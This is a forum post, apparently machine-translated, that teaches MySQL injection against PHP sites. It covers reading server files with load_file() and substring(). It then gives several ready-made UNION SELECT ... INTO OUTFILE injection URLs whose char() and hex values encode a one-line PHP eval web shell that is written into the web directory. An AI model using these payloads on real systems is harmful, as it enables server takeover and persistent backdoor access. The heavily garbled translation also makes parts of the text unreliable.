Jump to content
xTremeSurfer

Php injection tutorial! part 2

Recommended Posts

Posted

2:All the fields are not enough positions echo location,Oh, read the file is incomplete,The above reasons are not,Then how do?Here we use Substring(st,pos,only)Function to solve the problem. What he means is the pos-bit from the string str from the return position of the substring len characters. For example Substring(load_file(a),50,100)A content is the 50th letter of the beginning echo 100 to you. Then we can echo Rights Piecewise Piecewise.

Advanced use into outfile!

OK.load_file()We say so much. Next,We have a lot to do to be the highlight of!Here,I would say very important to use the next method,Kim Sum is why I refer to several works focused on the technical part. When we are several conditions to determine the future:

1 to obtain the physical path(into outfile 'physical path') In order to write to the directory

2 able to use the union (That is more than the version required MYSQL3)

3, the other did not 'filter(Because the back outfile '' Can not be converted to other functions instead)

4 users have file_priv permission is MYSQL(Otherwise, can not write files or read the contents of the file)

5 on MS web directory has write access permissions to the system generally,But LINUX is usually rwxr-xr-x means that groups with other users do not have permission to write.

1 here, we generally can rely on the database error message to burst,No words,You can also load_file()To get .2 It is generally possible are rare on the ... 3'''.4 There is no permission filtering,We have already tested the .5 if you can not come back up to the site path,We also have other ways,For example, the starup,run in there, and so social workers approach. and generally try to upload directory and more,Photo Catalog,Or most of them have read and write permissions.

OK. Need to determine the conditions,Then how to use it?We separate the two for the use of.

Usage 1:This is the usage of law-abiding,We all know that. Is there a message using site,Upload and other functions,Get your horse up a word,Then use

code:http://www.tian6.com/coder.php?id=1 and 1=2 union select 1,load_file( /www/home/html/upload/qingyafengping.jpg),3,4,5,6 into outfile '/ www / home / html / coder.php' / * your pony was born.

Where / www / home / html / upload / qingyafengping.jpg to the address you have to upload Trojans to assume the existence of the field .3,4,5,6,/ Www / home / html / WEB path for the hypothetical.

Usage 2, is also a key to say. The above method,Limitations is still relatively large,If the site does not give you upload,Filter uploaded content or website,How to do that?Do not be afraid,Kenshin thought several years ago gave us a good idea. We only need to perform such a URL directly:

code:http:/ / tiany6.com and 1=2 union select 1,char(Here is the code for your horse,Remember turned into 10 or 16 into the),3,4,5,6 into outfile '/ www / home / html / coder.php' / * This is also the birth of your pony,Do not need to upload,He is not afraid filter.

For example

code:http:/ / tiany6.com and 1=2 union select 1,char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62),3,4,5,6 into outfile '/www/home/html/coder.php'/*

Or

tiany6.com and 1=2 union select 1,0x3C3F706870206576616C28245F504F53545B636D645D293F3E,3,4,5,6 into outfile '/www/home/html/coder.php'/*

Or

tiany6.com and 1=2 union select 1,'',3,4,5,6 into outfile '/www/home/html/coder.php'/*

3,4,5,6 to assume the existence of the field,/ Www / home / html / WEB path for the hypothetical.

Section summarizes the basis of:Good,I talked about the basics here. So when you have time to give us some some real testing. Of course,Simple question then will be a passing of the. Maybe you should ask,Why do I say in front of so many,Or the contents of the above,In fact, we carefully,Basically, can find relevant content online,Why do I have to say here?I'll give you the answer only two.

1:I have been advocating techniques to really understand the reasons,To know these things,Have to know why,Each issue will not be exactly the same,Each target will not be exactly the same,Every section of the day,There will be changes,To be really handy to do,Difficulties to solve their own,Must understand the principles of!Tools are written by,He can only be your helper. He will not adapt to the environment according to actual situation. Do you understand the principles of,You are a flexible and intelligent tool,Innovation can,Flexible and change. People move to live,Move trees S,However hard it hard to,Must always remind ourselves.

2:Relative to the side dishes were not based,Always difficult to quickly find the information they really help. Often spend considerable time and effort,Also get the wrong answer,Led astray.'re Starting a lot of people rely on tools. I am here to give you sum up down,You are learning fast,Not in the wrong direction. While many people are so over their own(I believe that many experts are pondering over their own,You have a hard time is the same.). Now you come to the days of Sun Forum,There is no one will charge you a penny,No one will ask you to add any VIP,Or to ask you to pay something. There are many people willing to create a better learning environment for you,Our forum administrator,Moderators are also shortcuts to help you on track as quickly as possible,This can be a good opportunity for their side dishes. Is what pains me the reason to write these articles. I want to see,The technical,Upward,Positive,Tianyang students in the right direction. OK. Nonsense stop here. Waste of time for you master.

Sursa PHP injection tutorial - Hyperblue's Blog - PHP MYSQL|Web Development|Plug-in Development|typo3|WordPress|magento|opencart|dedecms|discuz?

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...